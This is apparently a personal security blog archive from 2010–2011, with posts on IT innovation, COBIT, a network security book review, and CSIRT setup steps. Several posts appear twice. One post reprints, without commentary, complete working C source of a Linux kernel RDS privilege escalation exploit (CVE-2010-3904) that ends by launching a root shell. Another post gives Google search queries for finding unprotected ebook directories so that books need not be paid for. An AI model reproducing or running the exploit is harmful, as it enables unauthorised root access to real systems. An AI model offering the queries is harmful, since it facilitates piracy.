A Moro indigenous ethnic of Austronesian who live geographically in Maritime Southeast Asia, root language is Malayo-Polynesian (sometimes called Extra-Formosan or Malagasy). Today I speak Bajau, Malay and English.
Sunday, January 30, 2011
Information Security Architecture
Been busy designing Information Security Architecture for some company.
Tuesday, November 23, 2010
Stop Killing Innovation
I read an interesting post from RICHARD BEJTLICH that talked about "Innovation". I decided to share his post here, enjoy reading.
I hear and read a lot about how IT is supposed to innovate to enable "the business." Anytime I see "IT" in one part of a sentence and "the business" in another, a little part of me dies. Somewhere there is a Nirvana where "thought leaders" understand that there is no business without IT, that IT is as part of the business as the sales person or factory worker or janitor, and that IT would be better off not constantly justifying its existence to "the business." But I digress.
I want to address the "innovation" issue in this post. CIO magazine recently published an interview with Vinnie Mirchandani titled Taking Business Risks With Your IT Budget. I liked what Mr Mirchandani had to say, although I'm going to omit his multiple references to "cloud." Instead, consider how he sees innovation in IT:
More [CIOs] want to be [innovators], but organizations don’t let them...
In the 1980s, we talked about IT as a competitive advantage... In the 1990s, we didn’t hear much of that at all, and IT started reporting to CFOs. In the early 2000s, the CFO made IT a compliance function for auditing and security.
We’ve beaten the innovation out of CIOs at many companies. We want them to be risk mitigators, not innovators. People are afraid to be associated with any failure. They buy IT from vendors that are safe choices. They know they’re overspending, yet they do it anyway...
Mr Mirchandani doesn't say this, but he could have also mentioned that many managers expect CIOs to be "productivity engines," meaning they inherently shrink their budget every year. This drives cost reduction as the primary goal for an IT shop -- not innovation. It's like expecting the business development team to concentrate on decreasing the amount of money spent per new customer acquired, while not caring so much on the quantity or quality of the new customers -- if any!
So what to do?
The best thing they could do is get out from under the CFO. Go to your CEO and say, “I want to report to you.” Make sure the CFO doesn’t stand in the way. Some CIOs will get fired for doing that. Others will get a chance...
Cost pressure isn't limited to those who only report to the CFO, but he doesn't address that issue.
The shocking thing about corporate IT is that without realizing it, 85 percent to 90 percent of the IT spend is with a vendor, including outsourcers and the staff you buy from them...
When you’re spending 90 percent of your money with a vendor, you have only a sliver left for [internal] talent — yet it’s with your own internal talent that you can innovate. There’s very little left for CIOs to innovate with.
The more progressive CIOs are saying they’ve overdone it with outsourcing and are starting to hire their own enterprise architects and business analysts and other strategic resources.
To me this is the crux of the issue. Businesses cannot outsource innovation. Businesses can crush innovation pretty easily though.
I found one comment he made about the cloud to be very interesting:
CIOs resist it. It’s not secure, they say. It’s not always available. CIOs say cloud vendors go down too often.
I know CIOs who haven’t run a full disaster-recovery drill for years and turn around and say that the cloud isn’t production-ready.
So, my message to readers is this: if cost-out, five nines uptime, outsourced workforces, and other failed strategies are your goal, forget innovation. If you want innovation to thrive, try considering the alternatives.
Source: Richard Blog
Reference: CIO - Taking Business Risk with Your IT Budget
I hear and read a lot about how IT is supposed to innovate to enable "the business." Anytime I see "IT" in one part of a sentence and "the business" in another, a little part of me dies. Somewhere there is a Nirvana where "thought leaders" understand that there is no business without IT, that IT is as part of the business as the sales person or factory worker or janitor, and that IT would be better off not constantly justifying its existence to "the business." But I digress.
I want to address the "innovation" issue in this post. CIO magazine recently published an interview with Vinnie Mirchandani titled Taking Business Risks With Your IT Budget. I liked what Mr Mirchandani had to say, although I'm going to omit his multiple references to "cloud." Instead, consider how he sees innovation in IT:
More [CIOs] want to be [innovators], but organizations don’t let them...
In the 1980s, we talked about IT as a competitive advantage... In the 1990s, we didn’t hear much of that at all, and IT started reporting to CFOs. In the early 2000s, the CFO made IT a compliance function for auditing and security.
We’ve beaten the innovation out of CIOs at many companies. We want them to be risk mitigators, not innovators. People are afraid to be associated with any failure. They buy IT from vendors that are safe choices. They know they’re overspending, yet they do it anyway...
Mr Mirchandani doesn't say this, but he could have also mentioned that many managers expect CIOs to be "productivity engines," meaning they inherently shrink their budget every year. This drives cost reduction as the primary goal for an IT shop -- not innovation. It's like expecting the business development team to concentrate on decreasing the amount of money spent per new customer acquired, while not caring so much on the quantity or quality of the new customers -- if any!
So what to do?
The best thing they could do is get out from under the CFO. Go to your CEO and say, “I want to report to you.” Make sure the CFO doesn’t stand in the way. Some CIOs will get fired for doing that. Others will get a chance...
Cost pressure isn't limited to those who only report to the CFO, but he doesn't address that issue.
The shocking thing about corporate IT is that without realizing it, 85 percent to 90 percent of the IT spend is with a vendor, including outsourcers and the staff you buy from them...
When you’re spending 90 percent of your money with a vendor, you have only a sliver left for [internal] talent — yet it’s with your own internal talent that you can innovate. There’s very little left for CIOs to innovate with.
The more progressive CIOs are saying they’ve overdone it with outsourcing and are starting to hire their own enterprise architects and business analysts and other strategic resources.
To me this is the crux of the issue. Businesses cannot outsource innovation. Businesses can crush innovation pretty easily though.
I found one comment he made about the cloud to be very interesting:
CIOs resist it. It’s not secure, they say. It’s not always available. CIOs say cloud vendors go down too often.
I know CIOs who haven’t run a full disaster-recovery drill for years and turn around and say that the cloud isn’t production-ready.
So, my message to readers is this: if cost-out, five nines uptime, outsourced workforces, and other failed strategies are your goal, forget innovation. If you want innovation to thrive, try considering the alternatives.
Source: Richard Blog
Reference: CIO - Taking Business Risk with Your IT Budget
Friday, November 12, 2010
COBIT-Framework: Basic Principle
COBIT is an IT governance framework and supporting toolset that allows managers to bridge the gap between control requirements, technical issues and business risks. COBIT enables clear policy development and good practice for IT control throughout organizations. COBIT emphasizes regulatory compliance, helps organizations to increase the value attained from IT, enables alignment and simplifies implementation of the COBIT framework.
Business orientation is the main theme of COBIT. It is designed not only to be employed by IT service providers, users and auditors, but also, and more important, to provide comprehensive guidance for management and business process owners. The COBIT framework is based on the following principle:
"To provide the information that the enterprise requires to achieve its objectives, the enterprise needs to invest in and manage and control IT resources using a structured set of processes to provide the services that deliver the required enterprise information."
Business orientation is the main theme of COBIT. It is designed not only to be employed by IT service providers, users and auditors, but also, and more important, to provide comprehensive guidance for management and business process owners. The COBIT framework is based on the following principle:
"To provide the information that the enterprise requires to achieve its objectives, the enterprise needs to invest in and manage and control IT resources using a structured set of processes to provide the services that deliver the required enterprise information."
Friday, October 22, 2010
Review for Network Security The Complete Reference
I've been looking for "Onion Methodology" for past few weeks. Network Security The Complete Reference has it.
"The Onion Model of Defense is a layered strategy, sometimes referred to as Defense in Depth. This model addresses the contingency of pa perimeter security breach occurring."
"Consider what happens when an invader picks the front door lock or breaks a window to gain entry to a house? The homeowner may hide cash in a drawer and may store valuable jewels in a safe. These protective mechanisms address the contingency that the perimeter security fails. They also address the prospect of an inside job. The same principles apply to network security. What happens when an attacker gets past the firewall? What happens when a trusted insider, like an employee or a contractor, abuse their privileges? The onion model addresses these contingencies."
Generally, the book is about a comprehensive resource that provide all the information necessary to formulate strategies to obtain and implement a network security program. A five star book.
"The Onion Model of Defense is a layered strategy, sometimes referred to as Defense in Depth. This model addresses the contingency of pa perimeter security breach occurring."
"Consider what happens when an invader picks the front door lock or breaks a window to gain entry to a house? The homeowner may hide cash in a drawer and may store valuable jewels in a safe. These protective mechanisms address the contingency that the perimeter security fails. They also address the prospect of an inside job. The same principles apply to network security. What happens when an attacker gets past the firewall? What happens when a trusted insider, like an employee or a contractor, abuse their privileges? The onion model addresses these contingencies."
Generally, the book is about a comprehensive resource that provide all the information necessary to formulate strategies to obtain and implement a network security program. A five star book.
Thursday, October 21, 2010
Linux RDS Protocol Local Privilege Escalation
/* * Linux Kernel <= 2.6.36-rc8 RDS privilege escalation exploit * CVE-2010-3904 * by Dan Rosenberg* * Copyright 2010 Virtual Security Research, LLC * * The handling functions for sending and receiving RDS messages * use unchecked __copy_*_user_inatomic functions without any * access checks on user-provided pointers. As a result, by * passing a kernel address as an iovec base address in recvmsg-style * calls, a local user can overwrite arbitrary kernel memory, which * can easily be used to escalate privileges to root. Alternatively, * an arbitrary kernel read can be performed via sendmsg calls. * * This exploit is simple - it resolves a few kernel symbols, * sets the security_ops to the default structure, then overwrites * a function pointer (ptrace_traceme) in that structure to point * to the payload. After triggering the payload, the original * value is restored. Hard-coding the offset of this function * pointer is a bit inelegant, but I wanted to keep it simple and * architecture-independent (i.e. no inline assembly). * * The vulnerability is yet another example of why you shouldn't * allow loading of random packet families unless you actually * need them. * * Greets to spender, kees, taviso, hawkes, team lollerskaters, * joberheide, bla, sts, and VSR * */ #include #include #include #include #include #include #include #include #include #include #include #define RECVPORT 5555 #define SENDPORT 6666 int prep_sock(int port) { int s, ret; struct sockaddr_in addr; s = socket(PF_RDS, SOCK_SEQPACKET, 0); if(s < 0) { printf("[*] Could not open socket.\n"); exit(-1); } memset(&addr, 0, sizeof(addr)); addr.sin_addr.s_addr = inet_addr("127.0.0.1"); addr.sin_family = AF_INET; addr.sin_port = htons(port); ret = bind(s, (struct sockaddr *)&addr, sizeof(addr)); if(ret < 0) { printf("[*] Could not bind socket.\n"); exit(-1); } return s; } void get_message(unsigned long address, int sock) { recvfrom(sock, (void *)address, sizeof(void *), 0, NULL, NULL); } void send_message(unsigned long value, int sock) { int size, ret; struct sockaddr_in recvaddr; struct msghdr msg; struct iovec iov; unsigned long buf; memset(&recvaddr, 0, sizeof(recvaddr)); size = sizeof(recvaddr); recvaddr.sin_port = htons(RECVPORT); recvaddr.sin_family = AF_INET; recvaddr.sin_addr.s_addr = inet_addr("127.0.0.1"); memset(&msg, 0, sizeof(msg)); msg.msg_name = &recvaddr; msg.msg_namelen = sizeof(recvaddr); msg.msg_iovlen = 1; buf = value; iov.iov_len = sizeof(buf); iov.iov_base = &buf; msg.msg_iov = &iov; ret = sendmsg(sock, &msg, 0); if(ret < 0) { printf("[*] Something went wrong sending.\n"); exit(-1); } } void write_to_mem(unsigned long addr, unsigned long value, int sendsock, int recvsock) { if(!fork()) { sleep(1); send_message(value, sendsock); exit(1); } else { get_message(addr, recvsock); wait(NULL); } } typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred); typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred); _commit_creds commit_creds; _prepare_kernel_cred prepare_kernel_cred; int __attribute__((regparm(3))) getroot(void * file, void * vma) { commit_creds(prepare_kernel_cred(0)); return -1; } /* thanks spender... */ unsigned long get_kernel_sym(char *name) { FILE *f; unsigned long addr; char dummy; char sname[512]; struct utsname ver; int ret; int rep = 0; int oldstyle = 0; f = fopen("/proc/kallsyms", "r"); if (f == NULL) { f = fopen("/proc/ksyms", "r"); if (f == NULL) goto fallback; oldstyle = 1; } repeat: ret = 0; while(ret != EOF) { if (!oldstyle) ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname); else { ret = fscanf(f, "%p %s\n", (void **)&addr, sname); if (ret == 2) { char *p; if (strstr(sname, "_O/") || strstr(sname, "_S.")) continue; p = strrchr(sname, '_'); if (p > ((char *)sname + 5) && !strncmp(p - 3, "smp", 3)) { p = p - 4; while (p > (char *)sname && *(p - 1) == '_') p--; *p = '\0'; } } } if (ret == 0) { fscanf(f, "%s\n", sname); continue; } if (!strcmp(name, sname)) { fprintf(stdout, " [+] Resolved %s to %p%s\n", name, (void *)addr, rep ? " (via System.map)" : ""); fclose(f); return addr; } } fclose(f); if (rep) return 0; fallback: /* didn't find the symbol, let's retry with the System.map dedicated to the pointlessness of Russell Coker's SELinux test machine (why does he keep upgrading the kernel if "all necessary security can be provided by SE Linux"?) */ uname(&ver); if (strncmp(ver.release, "2.6", 3)) oldstyle = 1; sprintf(sname, "/boot/System.map-%s", ver.release); f = fopen(sname, "r"); if (f == NULL) return 0; rep = 1; goto repeat; } int main(int argc, char * argv[]) { unsigned long sec_ops, def_ops, cap_ptrace, target; int sendsock, recvsock; struct utsname ver; printf("[*] Linux kernel >= 2.6.30 RDS socket exploit\n"); printf("[*] by Dan Rosenberg\n"); uname(&ver); if(strncmp(ver.release, "2.6.3", 5)) { printf("[*] Your kernel is not vulnerable.\n"); return -1; } /* Resolve addresses of relevant symbols */ printf("[*] Resolving kernel addresses...\n"); sec_ops = get_kernel_sym("security_ops"); def_ops = get_kernel_sym("default_security_ops"); cap_ptrace = get_kernel_sym("cap_ptrace_traceme"); commit_creds = (_commit_creds) get_kernel_sym("commit_creds"); prepare_kernel_cred = (_prepare_kernel_cred) get_kernel_sym("prepare_kernel_cred"); if(!sec_ops || !def_ops || !cap_ptrace || !commit_creds || !prepare_kernel_cred) { printf("[*] Failed to resolve kernel symbols.\n"); return -1; } /* Calculate target */ target = def_ops + sizeof(void *) + ((11 + sizeof(void *)) & ~(sizeof(void *) - 1)); sendsock = prep_sock(SENDPORT); recvsock = prep_sock(RECVPORT); /* Reset security ops */ printf("[*] Overwriting security ops...\n"); write_to_mem(sec_ops, def_ops, sendsock, recvsock); /* Overwrite ptrace_traceme security op fptr */ printf("[*] Overwriting function pointer...\n"); write_to_mem(target, (unsigned long)&getroot, sendsock, recvsock); /* Trigger the payload */ printf("[*] Triggering payload...\n"); ptrace(PTRACE_TRACEME, 1, NULL, NULL); /* Restore the ptrace_traceme security op */ printf("[*] Restoring function pointer...\n"); write_to_mem(target, cap_ptrace, sendsock, recvsock); if(getuid()) { printf("[*] Exploit failed to get root.\n"); return -1; } printf("[*] Got root!\n"); execl("/bin/sh", "sh", NULL); }
Security Incident Response Team: CSIRT: Getting Start
Action List for Developing a Computer Security Incident Response Team (CSIRT)
- Identify stakeholders1 and participants.
- Obtain management support and sponsorship.
- Develop a CSIRT project plan.
- Gather information.
- Identify the CSIRT constituency.
- Define the CSIRT mission.
- Secure funding for CSIRT operations.
- Decide on the range and level of services the CSIRT will offer.
- Determine the CSIRT reporting structure, authority, and organizational model.
- Identify required resources such as staff, equipment, and infrastructure.
- Define interactions and interfaces.
- Define roles, responsibilities, and the corresponding authority.
- Document the workflow.
- Develop policies and corresponding procedures.
- Create an implementation plan and solicit feedback.
- Announce the CSIRT when it becomes operational.
- Define methods for evaluating the performance of the CSIRT.
- Have a backup plan for every element of the CSIRT.
- Be flexible.
Tuesday, October 5, 2010
Google Dork: eBook
Google: -inurl:htm -inurl:html intitle:”index of” +(“/ebooks”|”/book”) +(chm|pdf|zip)
What does all of this mean? The -inurl htm and -inul html is attempting to get rid of regular webpages and show just index pages. Looking for index of in the title is doing the same. Using the pipe ( | ) tells google to look for something OR something else. Here were are telling google to look for book or ebook directories… and we have listed several common ebook formats (zip, pdf, chf).
If you would like to look for a particular author or title just tack it to the end of your search.
Google: -inurl:htm -inurl:html intitle:”index of” +(“/ebooks”|”/book”) +(chm|pdf|zip) +”o’reilly”
This uses the same idea but attempts to focus on directories that contain O’Reilly stuff. It’s not perfect, but it’s better than paying.
What does all of this mean? The -inurl htm and -inul html is attempting to get rid of regular webpages and show just index pages. Looking for index of in the title is doing the same. Using the pipe ( | ) tells google to look for something OR something else. Here were are telling google to look for book or ebook directories… and we have listed several common ebook formats (zip, pdf, chf).
If you would like to look for a particular author or title just tack it to the end of your search.
Google: -inurl:htm -inurl:html intitle:”index of” +(“/ebooks”|”/book”) +(chm|pdf|zip) +”o’reilly”
This uses the same idea but attempts to focus on directories that contain O’Reilly stuff. It’s not perfect, but it’s better than paying.
Subscribe to:
Comments (Atom)

